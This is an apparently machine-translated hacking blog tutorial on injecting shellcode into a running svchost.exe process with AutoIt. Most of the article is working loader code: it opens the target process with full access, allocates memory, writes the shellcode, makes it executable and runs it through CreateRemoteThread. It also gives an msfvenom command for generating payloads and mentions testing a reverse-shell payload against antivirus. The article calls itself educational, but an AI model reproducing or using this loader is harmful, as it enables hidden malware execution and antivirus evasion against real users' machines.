Understanding attack techniques is an important part to develop effective defensive measures. One of the outstanding attack methods is Shellcode Injectionallowing hackers to insert malicious code into the memory of the program running to execute malicious commands. Combined with Autoit is an easy -to -use programming that makes this technique more flexible and dangerous than ever.
Join the channel Telegram belong to Anonyviet 👉 Link 👈 |
In this article, we will discover how to implement the Shellcode Injection technique with Autoit, from basic concepts to specific practice steps, in order to help you understand more about how it works.
Note: This article is only for educational, research and learning purposes. Anonyviet is not responsible for all illegal acts
What is Shellcode Injection?
Before going into details, let's find out the basic concept. Shellcode is a small binary code, often written in Assembly language, in order to perform a specific task (such as Shell open, to malicious software, …). Shellcode Injection is the process of inserting this code into the memory of a running process, then forcing the process to execute the code.
With the ability to manipulate memory and call Windows API functions, Autoit is the ideal programming language to perform this technique. We will take advantage of the functions available in Autoit's libraries to interact with the system
How to implement Shellcode Injection
1. Environmental preparation
To start, you need to prepare the following:
- Download and install Autoit: Make sure you have a Scite editor to write code
- Shellcode: You can create shellcode with tools like Metasploit (MSFVENOM) or write itself in assembly. For example, use the following command in Metasploit to create a shellcode to open calculator
msfvenom -p windows/x64/exec CMD=calc.exe -f hex
The result will be a Hex series such as: FC4883E4 … 32E65786500
- Basic knowledge: Understand Windows API functions such as Virtualalloc, Rtlmovememory, and Createthread
2. Write code Autoit to perform Shellcode Injection
The library declaration section
#include#include #include #include
These are library (Library) that Autoit uses to provide support functions:
: Support to work with the process (process), such as taking the name, checking PID. : Provide functions to manipulate memory, such as granting or writing data. : Allow to call Windows API functions (such as OpenProcess, WriteProcessmemory). : Support to work with array (array), used to manage the process list.
To make it easier to understand, these are the “guide books” that the program needs to know how to work with the operating system
Give declaration of global variables
Global $hexShellcode = "fc4883e4...32e65786500"
$ Hexshellcode is the Shellcode code Hexa code (chain and letters like FC4883E4F). This is a small code that will be injected into the target process to execute
Call the main functions
_CheckProcess() _ProcessInjection()
These two functions are the “brain head” of the program:
- _Checkprocess (): Check if the target process (svchost.exe) is running
- _Processinjection (): Perform Shellcode injecting in the SVCHOST.EXE process
Function _checkprocess ()
Func _CheckProcess() ConsoleWrite("[+] Checking for target process" & @CRLF & @CRLF) Global $targetPID = Find_Process("svchost.exe") If Not $targetPID = 0 Then Global $targetProcName = _ProcessGetName($targetPID) ConsoleWrite("[+] Target process is running (" & $targetProcName &")" & @CRLF & @CRLF) ElseIf $targetPID = 0 Then ConsoleWrite("[!] Target process is not running. Exiting." & @CRLF & @CRLF) Exit EndIf EndFunc
This function checks if the SVCHOST.EXE process is running and taking its identification code (PID)
Detail:
- Consolewrite (“[+] Checking for target process ”& @CRLF & @CRLF): Print the notice “Examining the target process”
- $ targetpid = Find_process (“SVCHOST.EXE”): Call the function to find_process to find pid of svchost.exe
- If not $ targetpid = 0: If you find PID (other than 0):
– $ targetprocname = _ProcessgetName ($ targetpid): Take the process of the process from PID (use the library
– Print the notice confirming the running process
- Elseif $ targetpid = 0: If not found, print error notifications and program escape (exit)
Find_process () function
Func Find_Process($process) $loggedInUser = @UserName $processList = ProcessList() Dim $matchingProcesses[1] For $i = 1 To $processList[0][0] $processName = $processList[$i][0] $processPID = $processList[$i][1] If StringInStr($processName, $process) And _IsProcessOwner($processPID, $loggedInUser) Then ReDim $matchingProcesses[UBound($matchingProcesses) + 1] $matchingProcesses[UBound($matchingProcesses) - 1] = $processPID EndIf Next If UBound($matchingProcesses) > 1 Then $randomIndex = Random(1, UBound($matchingProcesses) - 1, 1) $randomPID = $matchingProcesses[$randomIndex] Return $randomPID Else Return "" EndIf EndFunc
This function finds all the processes with the name $ process (Here is “SVCHOST.EXE”) and randomly select a PID belongs to the current user. Detail:
- $ loggedinuser = @username: Take the current username (for example, “admin”).
- $ processlist = processlist (): Get a list of all the process running on the device
- Dim $ matchingprocesses[1]: Create an array to save the appropriate pids
- For loop:
– Browse through each process in $ processlist
– Stringinstr ($ processname, $ process): Check if the process name contains “svchost.exe”
– _Sprocessowner ($ processpid, $ loggedinuser): Check if the process belongs to the current user
– If both conditions are correct, add pid to the array $ matchingprocesses
Result:
- If there is more than 1 joint process, randomly select a PID with Random () and return
- If not found, return hollow string
Function _isprocessowner ()
Func _IsProcessOwner($processPID, $username) Local $aWMI = ObjGet("winmgmts:\\.\root\cimv2") Local $colItems = $aWMI.ExecQuery("Select * from Win32_Process where ProcessID=" & $processPID) For $objItem In $colItems If $objItem.GetOwner() = $username Then Return 1 EndIf Next Return 0 EndFunc
This function checks if the process with the specific PID belongs to the current user ($ username). Detail:
- $ Awmi = Objget (“winmgmts: \\. \ root \ cimv2”): Connect to WMI (Windows Management Instrumentation) to query system information
- $ colitems = $ awmi.execquery (…): Information query about the process with pid is $ processpid
- Loves: Check the owner (Getowner) of the process. If matched $ usernamereturn 1 (true); If not, return 0 (wrong)
To make it easier to understand, this part is like checking if the phone number in the contacts is yours, to avoid calling the wrong person
Function _ptr ()
Func _ptr($s, $e = "") If $e <> "" Then Return DllStructGetPtr($s, $e) Return DllStructGetPtr($s) EndFunc
This function takes the “cursor” (address in memory) of a data structure (DLLSTRCT) details:
- $ S: The structure needs to get the cursor
- $ e: Specific element in the structure (if any, but here is not used)
- Dllstructgetptr: Returns the memory address of the structure
Sizeof () function
Func sizeof($s) Return DllStructGetSize($s) EndFunc
- Meaning: This function returns the size (number of bytes) of a data structure
- Details: dllstructgetsize Calculate the size based on the definition of the structure
Function _Processinjection ()
Func _ProcessInjection() Local $autoItshellcode = "0x" & $hexShellcode Local $shellcodeBuffer = DllStructCreate("byte[" & BinaryLen($autoItshellcode) & "]") DllStructSetData($shellcodeBuffer, 1, $autoItshellcode) ConsoleWrite("[+] Shellcode size: " & sizeof($shellcodeBuffer) & " bytes" & @CRLF & @CRLF) ConsoleWrite("[+] Injecting shellcode into PID:" & $targetPID & " (" & $targetProcName &")" & @CRLF & @CRLF) $hProcess = _WinAPI_OpenProcess( _ $PROCESS_ALL_ACCESS, _ 0, _ $targetPID, _ True) $hRegion = _MemVirtualAllocEx( _ $hProcess, _ 0, _ sizeof($shellcodeBuffer), _ $MEM_COMMIT + $MEM_RESERVE, _ $PAGE_READWRITE) Local $written _WinAPI_WriteProcessMemory ( _ $hProcess, _ $hRegion, _ _ptr($shellcodeBuffer), _ sizeof($shellcodeBuffer), _ $written) $protectCall = DllCall("kernel32.dll", "int", "VirtualProtectEx", _ "hwnd", $hProcess, _ "ptr", $hRegion, _ "ulong_ptr", sizeof($shellcodeBuffer), _ "uint", 0x20, _ "uint*", 0) $hProtect = $protectCall[0] $threadCall = DllCall("Kernel32.dll", "int", "CreateRemoteThread", _ "ptr", $hProcess, _ "ptr", 0, _ "int", 0, _ "ptr", $hRegion, _ "ptr", 0, _ "int", 0, _ "dword*", 0) $hThread = $threadCall[0] EndFunc
The function _Processinjection () is the function that helps to bring malicious code into the target process (here is SVCHOST.EXE) and run it secretly, turning the legal process into malicious code. Detail:
Local $autoItshellcode = "0x" & $hexShellcode Local $shellcodeBuffer = DllStructCreate("byte[" & BinaryLen($autoItshellcode) & "]") DllStructSetData($shellcodeBuffer, 1, $autoItshellcode) ConsoleWrite("[+] Shellcode size: " & sizeof($shellcodeBuffer) & " bytes" & @CRLF & @CRLF) ConsoleWrite("[+] Injecting shellcode into PID:" & $targetPID & " (" & $targetProcName &")" & @CRLF & @CRLF)
- Shellcode is the poison code we want to inject. Here, $ Hexshellcode As a Hexa coding chain (for example, “FC4883E4F”), and I added “0x” to turn it into a format that Autoit understands
- Create a buffer: DLLSRUCTOREATE creates a “buffer” (buffer) to save shellcode. The size of this box is equal to the length of Shellcode (binarianlen)
- Put Shellcode in the box: Dllstructsetdata put shellcode in the medium box
- Notification: Two consoleWrite commands display Shellcode size information and target process (pid and name) so that users know what is happening
$hProcess = _WinAPI_OpenProcess( _ $PROCESS_ALL_ACCESS, _ 0, _ $targetPID, _ True)
- Jaw _Winapi_openprocess Like asking for an operating system to “open” the target process (here is SVCHOST.EXE, with code $ targetpid have been found earlier)
- Rights: $ process_all_access Request full access (read, record, execute) in this process
- Results: $ Hprocess is the “key” for us to manipulate that process. To make it easier as you need the key to enter another person's house $ Hprocess It is the key to opening SVCHOST.EXE
$hRegion = _MemVirtualAllocEx( _ $hProcess, _ 0, _ sizeof($shellcodeBuffer), _ $MEM_COMMIT + $MEM_RESERVE, _ $PAGE_READWRITE)
- Jaw _Memvirtualallitex Create a “space” in the memory of the target process to save Shellcode. This space size is equal to the size of Shellcode (Sileoof ($ shellcodebuffer))
- Access: $ Page_readwrite allows reading and writing in this gap. $ Mem_commit + $ mem_resere to make sure the space is used immediately and reserved
- Result: $ hregion is the address of the newly created space
Local $written _WinAPI_WriteProcessMemory ( _ $hProcess, _ $hRegion, _ _ptr($shellcodeBuffer), _ sizeof($shellcodeBuffer), _ $written)
Jaw _Winapi_writeProcessmemory Copy the shellcode from “container box” ($ shellcodebuffer) In the space ($ hregion) in the process of SVCHOST.EXE
Parameters:
- $ Hprocess: The key to the process of SCVHOST.EXE
- $ hregion: Empty room address
- _PTR ($ shellcodebuffer): The cursor to Shellcode in the container
- Sileoof ($ shellcodebuffer): Data size to be copied
- $ written: Save the number of bytes stated (used for testing)
$protectCall = DllCall("kernel32.dll", "int", "VirtualProtectEx", _ "hwnd", $hProcess, _ "ptr", $hRegion, _ "ulong_ptr", sizeof($shellcodeBuffer), _ "uint", 0x20, _ "uint*", 0) $hProtect = $protectCall[0]
- Virtualprotectex Change the access of “empty rooms” from reading/recording (page_readwrite) to execution (0x20 is page_execute_Read).
- Why need: Shellcode is a code to run, so the memory area contains it must be allowed to “execute”
- Result: $ hprotect said whether the right to change is successful or not
$threadCall = DllCall("Kernel32.dll", "int", "CreateRemoteThread", _ "ptr", $hProcess, _ "ptr", 0, _ "int", 0, _ "ptr", $hRegion, _ "ptr", 0, _ "int", 0, _ "dword*", 0) $hThread = $threadCall[0]
Createremotethread creates a thread in the SVCHOST.EXE process to run Shellcode at $ Hregion
Parameters:
- $ Hprocess: The key to the process
- $ hregion: Shellcode address to run
- Other parameters to default (0)
Result: $ hthread is the identification code of the newly created thread
This is a complete code:
#include#include #include #include Global $hexShellcode = "fc4883e4f" _CheckProcess() _ProcessInjection() Func _CheckProcess() ConsoleWrite("[+] Checking for target process" & @CRLF & @CRLF) Global $targetPID = Find_Process("svchost.exe") If Not $targetPID = 0 Then Global $targetProcName = _ProcessGetName($targetPID) ConsoleWrite("[+] Target process is running (" & $targetProcName &")" & @CRLF & @CRLF) ElseIf $targetPID = 0 Then ConsoleWrite("[!] Target process is not running. Exiting." & @CRLF & @CRLF) Exit EndIf EndFunc Func Find_Process($process) $loggedInUser = @UserName $processList = ProcessList() Dim $matchingProcesses[1] For $i = 1 To $processList[0][0] $processName = $processList[$i][0] $processPID = $processList[$i][1] If StringInStr($processName, $process) And _IsProcessOwner($processPID, $loggedInUser) Then ReDim $matchingProcesses[UBound($matchingProcesses) + 1] $matchingProcesses[UBound($matchingProcesses) - 1] = $processPID EndIf Next If UBound($matchingProcesses) > 1 Then $randomIndex = Random(1, UBound($matchingProcesses) - 1, 1) $randomPID = $matchingProcesses[$randomIndex] Return $randomPID Else Return "" EndIf EndFunc Func _ProcessInjection() Local $autoItshellcode = "0x" & $hexShellcode Local $shellcodeBuffer = DllStructCreate("byte[" & BinaryLen($autoItshellcode) & "]") DllStructSetData($shellcodeBuffer, 1, $autoItshellcode) ConsoleWrite("[+] Shellcode size: " & sizeof($shellcodeBuffer) & " bytes" & @CRLF & @CRLF) ConsoleWrite("[+] Injecting shellcode into PID:" & $targetPID & " (" & $targetProcName &")" & @CRLF & @CRLF) $hProcess = _WinAPI_OpenProcess( _ $PROCESS_ALL_ACCESS, _ 0, _ $targetPID, _ True) $hRegion = _MemVirtualAllocEx( _ $hProcess, _ 0, _ sizeof($shellcodeBuffer), _ $MEM_COMMIT + $MEM_RESERVE, _ $PAGE_READWRITE) Local $written _WinAPI_WriteProcessMemory ( _ $hProcess, _ $hRegion, _ _ptr($shellcodeBuffer), _ sizeof($shellcodeBuffer), _ $written) $protectCall = DllCall("kernel32.dll", "int", "VirtualProtectEx", _ "hwnd", $hProcess, _ "ptr", $hRegion, _ "ulong_ptr", sizeof($shellcodeBuffer), _ "uint", 0x20, _ "uint*", 0) $hProtect = $protectCall[0] $threadCall = DllCall("Kernel32.dll", "int", "CreateRemoteThread", _ "ptr", $hProcess, _ "ptr", 0, _ "int", 0, _ "ptr", $hRegion, _ "ptr", 0, _ "int", 0, _ "dword*", 0) $hThread = $threadCall[0] EndFunc Func _ptr($s, $e = "") If $e <> "" Then Return DllStructGetPtr($s, $e) Return DllStructGetPtr($s) EndFunc Func sizeof($s) Return DllStructGetSize($s) EndFunc Func _IsProcessOwner($processPID, $username) Local $aWMI = ObjGet("winmgmts:\\.\root\cimv2") Local $colItems = $aWMI.ExecQuery("Select * from Win32_Process where ProcessID=" & $processPID) For $objItem In $colItems If $objItem.GetOwner() = $username Then Return 1 EndIf Next Return 0 EndFunc
Summarize the operation of the entire code
1. _Checkprocess () and find_process (): Find and check if svchost.exe runs, choose a suitable PID.
2. _Processinjection (): Inject Shellcode into the target process through 6 steps (preparing, opening the process, allocating memory, recording shellcode, granting the right to execute, running Shellcode)
3. Support functions (_PTr, Sizeof, _Sprocessowner): Help handle details such as taking addresses, sizes, and verifying ownership
Result: Shellcode will run in svchost.exe. However, with $ Hexshellcode = “FC4883E4F”This is just a sample section, so you need a full shellcode (for example from Metasploit)
And here is the result:
Okay, now I will create a Payload Reverse Shell HTTPS from Metasploit, then try to see if Antivirus has discovered or not. Please see the demo:
Through this article, we have discovered how to use Autoit to perform the technique Shellcode Injection. Understanding it not only helps you understand how hackers invade, but also the foundation to build more effective defensive measures. I hope that you can perform this technique only to test in a safe environment and use this knowledge in a responsible way to protect the system, instead of causing harm. Wishing you success on the journey to explore the world security world!